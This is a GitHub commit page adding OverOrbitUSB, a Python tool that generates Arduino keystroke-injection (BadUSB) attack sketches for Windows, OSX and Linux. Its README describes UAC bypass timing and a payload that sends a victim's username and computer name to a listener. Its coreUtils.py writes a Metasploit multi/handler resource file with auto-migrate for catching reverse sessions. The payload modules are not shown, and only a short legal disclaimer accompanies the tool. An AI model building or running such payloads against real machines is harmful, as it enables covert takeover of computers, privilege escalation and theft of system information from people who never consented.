Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
ChandraOrbit authored Aug 22, 2017
1 parent 7d66e29 commit 03160f3
Show file tree
Hide file tree
Showing 8 changed files with 2,892 additions and 0 deletions.
50 changes: 50 additions & 0 deletions OverOrbitUSB.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
#!/usr/bin/python
#uses HID-Project.h from https://github.com/NicoHood/HID, can be installed from Arduino Library Manager

import sys
import argparse
import os
import subprocess
import coreUtils
import winCore
import nixCore
import osxCore
import helperCore
import nfoCore

def mainMenu():

menu = {}
menu['0']="Info"
menu['1']="Windows Payloads"
menu['2']="OSX Payloads"
menu['3']="Linux Payloads"
menu['4']="Helper/Listener Functions"
menu['99']="Exit"

while True:
coreUtils.bannerMain()
options=menu.keys()
options.sort(key=int)
for entry in options:
print entry, menu[entry]

selection=raw_input("\nPlease Select: ")
if selection =='1':
winCore.WinMenu()
elif selection == '2':
osxCore.osxMenu()
elif selection == '3':
nixCore.LinuxMenu()
elif selection == '4':
helperCore.helperMenu()
elif selection == '0':
nfoCore.generalInfo()
elif selection == '99':
break
else:
print "\n\n***That is not a valid option!***\n\n"


if __name__ == "__main__":
mainMenu()
47 changes: 47 additions & 0 deletions Petunjuk.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
# OverOrbitUSB
"I am an ordinary human who tries to see from the glasses of universality." -Chandra Orbit.

###General Info
OverOrbitUSB is a tool to generate sketches for Arduinos when used as an HID Attack. It was designed around devices with the ATMEGA32U4 chip, like the CJMCU-BEETLE, or the new LilyGo "BadUSB" devices popping up on ebay and aliexpress that look like USB sticks but contain an Arduino. I wrote this because the few other tools out there that do similar don't have as many customization options like the UAC Bypass options or the notification bubble options. I wanted to create something that could quickly generate a custom payload and that did not require anything extra to be install beyond the standard Python libraries and the Arduino IDE. I also wrote this to get better at Python. This is my first release of anything, so expect problems.

###Requirements
- An Arduino that supports keyboard emulation
- Python 2.7 (Python 3 version in the process)
- Arduino IDE: https://www.arduino.cc/en/Main/Software
- NicoHood's HID: https://github.com/NicoHood/HID/ (This can be installed straight from the Arduino IDE from the menu: Sketch->.Include Library->manage Libraries and search for "HID-Project")

###Use
1. start by launching OverOrbitUSB.py
2. Select the target's OS
3. Select the specific payload
4. Fill in the required settings
5. Generate the .ino file
6. Open the .ino file in the Arduino IDE
7. Flash the sketch to your Arduino device

###Notes

1. After flashing the payload, the Arduino IDE will disconnect the Arduino, then it will automatically reconnect, and deliver the payload. Be ready for characters to suddenly be typed to the screen; I recommend having notepad or similar open and focused when you flash the sketch
2. OverOrbitUSB currently drops the .ino file and the Metasploit .rc file in the working directory, so look for them there.
3. For the UAC Bypass techniques, timing is key. Older devices will open the Terminal with Admin rights at a slower speed, and therefore you may need to adjust the delay() in the BypassUAC functions in the sketch
4. This is just the beginning. Many more payloads, features, options and additions are coming.
5. Please contribute if you have something to add.

##Disclaimer
Don't do anything illegal with this.
Usage of OverOrbitUSB for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, provincial/state and federal laws. Developer assume NO liability and are NOT responsible for any misuse or damage caused by this program.

"Don't be mean; we don't have to be mean, cuz, remember, no matter where you go, there you are." - Buckaroo Banzai

##About me
You can find me on : www.orbitsolusi.com

##Thanks
Thank you to my beautiful wife for putting up with my late nights while I worked on this, and her fantastic support she has always given me.

###CHANGELOG

v0.1
- Added new payload that grabs the username and computername and sends it to a listener
- customization options to the notification bubble.
- Initial commit
126 changes: 126 additions & 0 deletions coreUtils.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,126 @@
#!/usr/bin/python
#uses HID-Project.h from https://github.com/NicoHood/HID, can be installed from Arduino Library Manager

import sys
import argparse
import os
import subprocess
import socket

def bannerMain():

clearScreen()
banner = " ****************************************************************************\n"
banner += " * d8b d8 d8b *\n"
banner += " * 888 8P8 d8P 888 *\n"
banner += " * 88b d888888P 88b *\n"
banner += " * d8888b 88bd88b 888888b 88b 888 888 d8P d888b 888888b *\n"
banner += " * d8P 888 88P 88P 88b 88P 88P d88 88 88b 88P 88b *\n"
banner += " * 88b d88 d88 d88 d88 d88 88b 888 d88 88b d88 d88 *\n"
banner += " * 88888P d88 d888888P d88 88b 888P 88b 8888P d888888P *\n"
banner += " * *\n"
banner += " * ORBIT SOLUTIONS *\n"
banner += " * www.orbitsolusi.com *\n"
banner += " * *\n"
banner += " ****************************************************************************\n"
banner += "\n"
banner += " \"CREATE EXPLOIT UNTUK HACKING VIA USB\""
banner += "\n"
print banner

def clear():

os.system('clear')

def clearScreen():

if sys.platform == "linux" or sys.platform == "linux2" or sys.platform == "darwin":
clear()
elif sys.platform == "win32":
cls()

def cls():
os.system('cls')

def msfRCfile(IP,port,payload, fileName):

buffer = "use exploit/multi/handler\n"
buffer += "set PAYLOAD " + payload + "\n"
buffer += "set LHOST " + IP + "\n"
buffer += "set LPORT " + port + "\n"
buffer += "set ExitOnSession false\n"
buffer += "set autorunscript migrate -f\n"
buffer += "exploit -j -z\n"

fileName = checkRC(fileName)
file = open(fileName,'w')
file.write(buffer)
file.close()

print "\n\nWrote Metasploit file " + fileName

def checkIP(IPaddress):
try:
socket.inet_aton(IPaddress)
return True
except socket.error:
return False

def FileCheck(fileName):
if os.path.exists(fileName):
overwrite = raw_input ("File " + fileName+ " already exists. Overwrite? Y/N: ")
if overwrite not in ('Y','y','yes','Yes','YES'):
return True
else:
return False
else:
return False

def checkINO(fileName):
if not fileName.endswith('.ino'):
fileName = fileName + ".ino"
return fileName

def checkRC(fileName):
if not fileName.endswith('.rc'):
fileName = fileName + ".rc"
return fileName


def getFileName(defaultFileName):

fileExists = True
while fileExists == True:
fileName = raw_input("Please enter the name of the output file (if left blank the default \""+defaultFileName+"\"): ")
if fileName == "":
fileName = defaultFileName
fileExists = FileCheck(fileName)
fileName = checkINO(fileName)
return fileName

def getRCFileName(defaultFileName):

fileExists = True
while fileExists == True:
fileName = raw_input("Please enter the name of the Metasploit RC file (if left blank the default \""+defaultFileName+"\"): ")
if fileName == "":
fileName = defaultFileName
fileExists = FileCheck(fileName)
fileName = checkRC(fileName)
return fileName


def getBinary(URL):
binary = URL.split("/")[-1]
return binary

def checkQuotes(string):

if string.startswith('-enc') or string.startswith('-Enc'):
string = string.replace('"','')
elif string.startswith('"') and string.endswith('"'):
string = string.replace('"','\\\"')
else:
string = '\\\"' + string + '\\\"'
return string

Loading

0 comments on commit 03160f3

Please sign in to comment.